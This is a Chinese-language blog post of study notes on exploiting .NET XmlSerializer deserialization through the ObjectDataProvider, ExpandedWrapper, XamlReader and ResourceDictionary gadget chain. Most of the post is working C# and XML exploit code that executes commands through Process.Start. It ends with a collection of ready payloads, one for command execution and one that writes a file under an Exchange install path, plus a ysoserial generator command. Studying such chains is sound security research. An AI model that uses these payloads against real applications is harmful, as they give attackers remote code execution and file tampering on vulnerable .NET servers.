XmlSerializer反序列化ObjectDataProvider利用链
前言:这篇作为XmlSerializer反序列化链笔记
参考文章:https://learn.microsoft.com/zh-cn/dotnet/standard/serialization/
参考文章:https://xz.aliyun.com/t/9592
参考文章:https://www.anquanke.com/post/id/172316
参考文章:https://www.cnblogs.com/nice0e3/p/16942833.html
参考文章:https://paper.seebug.org/1418/#0x10-objectdataprovider
XML的序列化
XML 序列化将对象的公共字段和属性以及方法的参数和返回值转换(序列化)为符合特定 XML 架构定义语言 (XSD) 文档的 XML 流。 XML 序列化会生成强类型类,同时将公共属性和字段转换为序列格式(在此情况下为 XML),以便存储或传输。
在.NET 框架中的 XmlSerializer 类是一种很棒的工具,它是将高度结构化的XML数据映射为.NET对象。XmlSerializer类在程序中通过单个API调用来执行XML文档和对象之间的转换。
XmlSerializer类的反序列化漏洞
这边定义一个Person类,相关的字段有height,ClassName,OrderedItems,Age,Name,其中height字段是私有的(如果私有的话是不会被转换成xml的数据,这边记录下)
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Xml.Serialization; namespace XmlDeserialization { [XmlRoot] public class Person { [XmlElement] public int Age { get; set; } [XmlElement] public string Name { get; set; } [XmlArray("Items")] public Order[] OrderedItems; [XmlAttribute] public string ClassName { get; set; } [XmlElement] int height { get; set; } } public class Order { public int OrderID; } class Program { static void Main(string[] args) { Person p = new Person(); p.Name = "zpchcbd"; p.Age = 18; Order order = new Order(); order.OrderID = 123; Order order1 = new Order(); Order[] orders = new Order[] { order, order1 }; p.OrderedItems = orders; p.ClassName = "classname"; // XmlSerializer序列化器 XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person)); MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); // 序列化 xmlSerializer.Serialize(writer, p); memoryStream.Position = 0; // 输出xml Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray())); // 反序列化 Person p1 = (Person)xmlSerializer.Deserialize(memoryStream); Console.WriteLine(p1.Name); } } }
运行结果如下,可以看到height字段没有被序列化为xml数据进行保存
知识点:XmlSerializer只能将对象的公共(public)属性和公共字段进行序列化和反序列化,XML 序列化不能转换方法、索引器、私有字段或只读属性(只读集合除外)。若要序列化对象的所有公共和私有字段和属性,请使用 DataContractSerializer 而不要使用 XML 序列化。
在序列化的时候我们可以看到new XmlSerializer(typeof(Person))将对象类型type传入xmlserializer,这边有几种方式获取Type
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));// typeof() XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType()); // 对象的GetType()方法 XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("XmlDeserialization.Person"));
XmlSerializer反序列化攻击链
这边学习下XmlSerializer反序列化的攻击链ObjectDataProvider和ResourceDictionary
ObjectDataProvider和ResourceDictionary
ObjectDataProvider该类处于System.Windows.Data命名空间下,如下所示
当我们用如下的代码进行测试的时候,可以进行calc的命令执行
using System; using System.Diagnostics; using System.IO; using System.Windows.Data; using System.Xml.Serialization; namespace SerializationCollection { public class Program { static void Main(string[] args) { ObjectDataProvider o = new ObjectDataProvider(); o.MethodParameters.Add("cmd.exe"); o.MethodParameters.Add("/c calc"); o.MethodName = "Start"; o.ObjectInstance = new Process(); Console.ReadKey(); } } }
为什么上面的代码运行完就能弹出计算器?这边可以通过dnspy调试来进行学习
首先可以看到的就是调用了objDat.MethodName = "Start";
这边跟进去会触发ObjectDataProvider对象的MethodName的setter方法,如下图所示
其中MethodName的setter方法中可以看到会调用base.Refresh();方法
跟到Refresh方法中继续观察,可以看到继续调用BeginQuery方法
这边继续跟进到BeginQuery方法中进行观察,可以看到继续调用QueryWorker方法
这边跟进到QueryWorker方法中可以看到,_mode属性的值是FromInstance,所以这边走到了InvokeMethodOnInstance方法
在InvokeMethodOnInstance方法中根据前面设置的MethodName方法和对应的参数MethodParameters来进行执行
这个ObjectDataProvider点作为chain,能够将触发点XmlSerializer和Process执行命令的点进行连接,ObjectDataProvider在java的反序列化中就可以理解为对应的CC库中的InvokerTransform来进行任意对象的方法调用。
还有一个小知识点这边也同样记录下通过上面的调试可以知道这边触发是因为调用了Refresh方法,那么这边哪里会调用Refresh这个方法呢?
这边通过搜索可以看到两个方法,分别是OnParametersChanged和OnSourceDataChanged
这两个方法都是在构造函数中存在,结果如下所示
对ObjectDataProvider稍微总结下就是当我们使用ObjectDataProvider指定某个实例的某个方法,当添加或修改methodParameters时就会触发执行目标函数了。如果我们在反序列化时也能触发目标函数的调用,就可以实现代码执行了。
到目前来说的话就是ObjectDataProvider->Process命令执行,那么还缺少触发点,这里所谓的触发点就是反序列化之后触发ObjectDataProvider来进行调用Process命令执行
实际上的话触发点的就可以是XmlSerializer,可以看下面的代码,XmlSerializer和ObjectDataProvider和Process配合使用
using System; using System.Diagnostics; using System.IO; using System.Windows.Data; using System.Xml.Serialization; namespace SerializationCollection { public class Program { static void Main(string[] args) { ObjectDataProvider o = new ObjectDataProvider(); o.MethodParameters.Add("cmd.exe"); o.MethodParameters.Add("/c calc"); o.MethodName = "Start"; o.ObjectInstance = new Process(); XmlSerializer xmlSerializer = new XmlSerializer(typeof(Object)); MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); xmlSerializer.Serialize(writer, o); Console.ReadKey(); } } }
但是这里可以发现还没有进行序列化的时候就已经报错了,结果如下图所示,报错提示说这里的话需要序列化o对象是一个未知的类,其实也就是ObjectDataProvider是不能被直接序列化的,所以这里的话还是有点问题
这边你跟着报错堆栈会发现其实是进行了类型的比较,如下图所示,可以看到当前序列化的时候o对象
System.Xml.Serialization.XmlSerializationWriter.WriteTypedPrimitive(string, string, object, bool) Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationWriterObject.Write1_Object(string, string, object, bool, bool) Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationWriterObject.Write2_anyType(object)
接着进去到WriteTypedPrimitive方法中,然后通过判断发现没有一个符合该类型的,最终导致抛出异常序列化失败
这里的话可以使用System.Data.Services.Internal.ExpandedWrapper类来做包装进行解决这个问题,它的作用就是扩展类的属性。
这里的话我们可以通过Person类作为ExpandedWrapper的TExpandedElement,ObjectDataProvider作为ExpandedWrapper的TProperty0
[XmlRoot] public class Person { public void eval() { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c calc"; process.Start(); } }
最终的测试代码如下
using System; using System.Data.Services.Internal; using System.Diagnostics; using System.IO; using System.Text; using System.Windows.Data; using System.Xml.Serialization; namespace SerializationCollection { [XmlRoot] public class Person { public void eval() { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c calc"; process.Start(); } } class Program { static void Main(string[] args) { MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>(); expandedWrapper.ProjectedProperty0 = new ObjectDataProvider(); expandedWrapper.ProjectedProperty0.MethodName = "eval"; expandedWrapper.ProjectedProperty0.ObjectInstance = new Person(); XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>)); xml.Serialize(writer, expandedWrapper); string result = Encoding.UTF8.GetString(memoryStream.ToArray()); Console.WriteLine(result); memoryStream.Position = 0; xml.Deserialize(memoryStream); Console.ReadKey(); } } }
可以看到到这里的话目前就可以正常运行序列化和反序列化了,然后结果如下所示
XmlSerializer是如何触发ObjectDataProvider的实例化的呢?
知识点:XmlSerializer在初始化的时候会自动生成一个动态程序集加载在内容中,并调用该程序集里自动生成的代码完成反序列化过程。
如下所示测试代码
[XmlRoot] public class Person { public void eval() { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c calc"; process.Start(); } } class Program { static void Main(string[] args) { // MemoryStream memoryStream = new MemoryStream(); ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>(); ObjectDataProvider object_data_provider = new ObjectDataProvider(); object_data_provider.MethodName = "eval"; object_data_provider.ObjectInstance = new Person(); expandedWrapper.ProjectedProperty0 = object_data_provider; /* XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>)); TextWriter text_writer = new StreamWriter(@"a.xml"); xml.Serialize(text_writer, expandedWrapper); text_writer.Close(); */ XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<ObjectDataProvider, Person>)); TextReader text_reader = new StreamReader("a.xml"); xml.Deserialize(text_reader); text_reader.Close(); } }
这里可以将用下面的xml数据来作为反序列化的数据来进行测试
<?xml version="1.0" encoding="utf-8"?> <ExpandedWrapperOfPersonObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <ProjectedProperty0> <ObjectInstance xsi:type="Person" /> <MethodName>eval</MethodName> </ProjectedProperty0> </ExpandedWrapperOfPersonObjectDataProvider>
先来到这边在反序列化的过程中会进行根据xml的数据进行反射操作
这边跟进去,因为我上面的xml中的是ExpandedWrapperOfPersonObjectDataProvider,所以这边会在反序列化的过程中中通过反射生成一个程序集,其中包含XmlSerializationReaderExpandedWrapper2和XmlSerializationWriterExpandedWrapper2来进行数据转换的操作
接着首先会调用Read9_Item
这边可以看到在Read9_Item方法中会生成一个ExpandedWrapper对象
通过expandedWrapper.ProjectedProperty0 = this.Read7_ObjectDataProvider(false, true);语句来对expandedWrapper.ProjectedProperty0属性进行赋值操作
跟进去就可以看到会对objectDataProvider.ObjectInstance和objectDataProvider.MethodName这两个属性值进行赋值操作,那么这里的话就实现了XmlSerializer->ObjectDataProvider的触发过程
目前就是XmlSerializer->ExpandedWrapper+ObjectDataProvider->Person->Process,而其中的Person类并不是原生.net中有的,所以利用难免存在苛刻条件,
这里可能会有一个疑问就是不能将expandedWrapper.ProjectedProperty0.ObjectInstance直接指定为Process吗,然后expandedWrapper.ProjectedProperty0.MethodName = "Start",那么不是就可以直接执行命令了吗?,就比如如下的代码所示
using System; using System.Data.Services.Internal; using System.Diagnostics; using System.IO; using System.Text; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Markup; using System.Xml.Serialization; namespace SerializationCollection { [XmlRoot] public class Person { public void eval() { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c calc"; process.Start(); } } class Program { static void Main(string[] args) { ExpandedWrapper<Person, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Person, ObjectDataProvider>(); expandedWrapper.ProjectedProperty0 = new ObjectDataProvider(); expandedWrapper.ProjectedProperty0.MethodName = "Start"; expandedWrapper.ProjectedProperty0.MethodParameters.Add("cmd.exe"); expandedWrapper.ProjectedProperty0.MethodParameters.Add("/c calc"); expandedWrapper.ProjectedProperty0.ObjectInstance = new Process(); MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Process, ObjectDataProvider>)); xml.Serialize(writer, expandedWrapper); string result = Encoding.UTF8.GetString(memoryStream.ToArray()); Console.WriteLine(result); memoryStream.Position = 0; xml.Deserialize(memoryStream); Console.ReadKey(); } } }
可以看到还没到序列化的时候,在初始化XmlSerializer对象的时候就已经报错了,原因就是Process类的父类System.ComponentModel.ISite中的的成员System.ComponentModel.Component.Site是接口,因此无法将其序列化,结果如下所示
那么.net中是否存在一个类似上面Person类的一个对象呢?到了这里如果想要让上面的链能够利用的话只有两种办法
-
第一种是找到一个类能够序列化,将其作为ExpandedWrapper的TExpandedElement,并且这个类还有Process的特性能够用来进行命令执行
-
第二种就是在原先的XmlSerializer->ObjectDataProvider->Process中找到一个类能够实现XmlSerializer->未知类->ObjectDataProvider->Process
这里的解决方法就是第二种,通过XamlReader和ResourceDictionary来进行解决
ResourceDictionary
ResourceDictionary即资源字典,用于wpf开发,既然是wpf,肯定涉及到xaml语言,关于wpf和xaml的知识点需要自行去了解学习
而这里的话XamlReader实现WPF对象的反序列化,XamlReader的用处就是读取XAML输入并创建对象图。
XamlReader.Parse方法读取指定文本字符串中的XAML输入,并返回与指定标记的根对应的对象。
那么这里的话就可以通过XamlReader通过调用parse方法来解析ResourceDictionary
通过XamlReader去解析ResourceDictionary
using System; using System.Data.Services.Internal; using System.Diagnostics; using System.IO; using System.Text; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Markup; using System.Xml.Serialization; namespace SerializationCollection { class Program { static void Main(string[] args) { string xml = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start""> <ObjectDataProvider.MethodParameters> <b:String>cmd</b:String> <b:String>/c calc</b:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> "; XamlReader.Parse(xml); Console.ReadKey(); } } }
可以看到XamlReader去解析能够成功去解析ResourceDictionary,最终实现命令执行
那么这里话只需使用ObjectDataProvider的ObjectInstance方法实例化XamlReader,再指定MethodName为Parse,并且给MethodParameters传递序列化之后的资源字典数据,这样就可以完成XmlSerializer反序列化攻击链的打造。
最终的利用代码
using System; using System.Data.Services.Internal; using System.Diagnostics; using System.IO; using System.Text; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Markup; using System.Xml.Serialization; namespace SerializationCollection { class Program { static void Main(string[] args) { ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>(); expandedWrapper.ProjectedProperty0 = new ObjectDataProvider(); expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader(); expandedWrapper.ProjectedProperty0.MethodName = "Parse"; expandedWrapper.ProjectedProperty0.MethodParameters.Add(@"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start""> <ObjectDataProvider.MethodParameters> <b:String>cmd</b:String> <b:String>/c calc</b:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> "); MemoryStream memoryStream = new MemoryStream(); TextWriter writer = new StreamWriter(memoryStream); XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>)); xml.Serialize(writer, expandedWrapper); memoryStream.Position = 0; xml.Deserialize(memoryStream); Console.ReadKey(); } } }
利用链:XmlSerializer->XamlReader->ExpandedWrapper->ObjectDataProvider->Process
稍微总结下在XmlSerializer反序列化中想要进行利用的话,那么就需要满足如下两个条件
- 如果是在通过XmlSerializer来进行反序列化的时候,这个情况下的new XmlSerializer(type)的type可控,并且反序列化的数据也可控,那么可以利用进行RCE
ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer
a.xml
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]> </anyType> </MethodParameters> <ObjectInstance xsi:type="XamlReader"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider>
Program.cs
class Program { static void Main(string[] args) { XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>)); // XamlReader和ObjectDataProvider是可控的前提 TextReader text_reader = new StreamReader("a.xml"); // 反序列化的数据也同样可控的前提 xml.Deserialize(text_reader); text_reader.Close(); } }
- 如果是在XamlReader.Parse(xml)中的xml数据可控,那么可以利用进行RCE
一个小问题
如果大家学习了ActivitySurrogateSelectorGenerator利用链条的话就知道,可以通过使用ObjectSurrogate作为代理器可以序列化原本不可序列化的类。
那如果我们使用这种方式去序列化ObjectDataProvider会怎么样呢?大家可以尝试下
class MySurrogateSelector : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; if (!type.IsSerializable) { Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); } return base.GetSurrogate(type, context, out selector); } } static void Surrogatetest() { var objDat = new ObjectDataProvider(); objDat.ObjectInstance = new System.Diagnostics.Process(); objDat.MethodParameters.Add("calc"); objDat.MethodName = "Start"; System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); BinaryFormatter fmt = new BinaryFormatter(); MemoryStream stm = new MemoryStream(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, objDat); stm.Position = 0; var fmt2 = new BinaryFormatter(); ObjectDataProvider result = (ObjectDataProvider)fmt2.Deserialize(stm); //result.Refresh(); }
测试结果发现是不可以的,结果如下图所示
为什么XmlSerializer可以在反序列化ObjectDataProvider的时候触发函数执行?
上面对ObjectDataProvider稍微总结过,就是当我们使用ObjectDataProvider指定某个实例的某个方法,当添加或修改methodParameters时就会触发执行目标函数了
根据上面的总结,我们可以推断在XmlSerializer方法中在反序列化的过程中是有对methodParameters相关的操作的,最终会触发ObjectDataProvider中的任意方法调用
收集的payload
稍微简单的记录下
命令执行
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]> </anyType> </MethodParameters> <ObjectInstance xsi:type="XamlReader"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider>
写入文件
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > <ExpandedElement/> <ProjectedProperty0> <MethodName>Parse</MethodName> <MethodParameters> <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"> <![CDATA[ <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:s="clr-namespace:System;assembly=mscorlib" xmlns:w="clr-namespace:System.Web;assembly=System.Web"> <s:String x:Key="a" x:FactoryMethod="s:Environment.GetEnvironmentVariable" x:Arguments="ExchangeInstallPath"/> <s:String x:Key="b" x:FactoryMethod="Concat"> <x:Arguments> <StaticResource ResourceKey="a"/> <s:String>\\aaaa\\bbb\\ccc\\test.txt</s:String> </x:Arguments> </s:String> <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText"> <ObjectDataProvider.MethodParameters> <StaticResource ResourceKey="b"/> <s:String>iiiii</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/> <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/> <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/> </ResourceDictionary> ]]> </anyType> </MethodParameters> <ObjectInstance xsi:type="XamlReader"></ObjectInstance> </ProjectedProperty0> </ExpandedWrapperOfXamlReaderObjectDataProvider>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY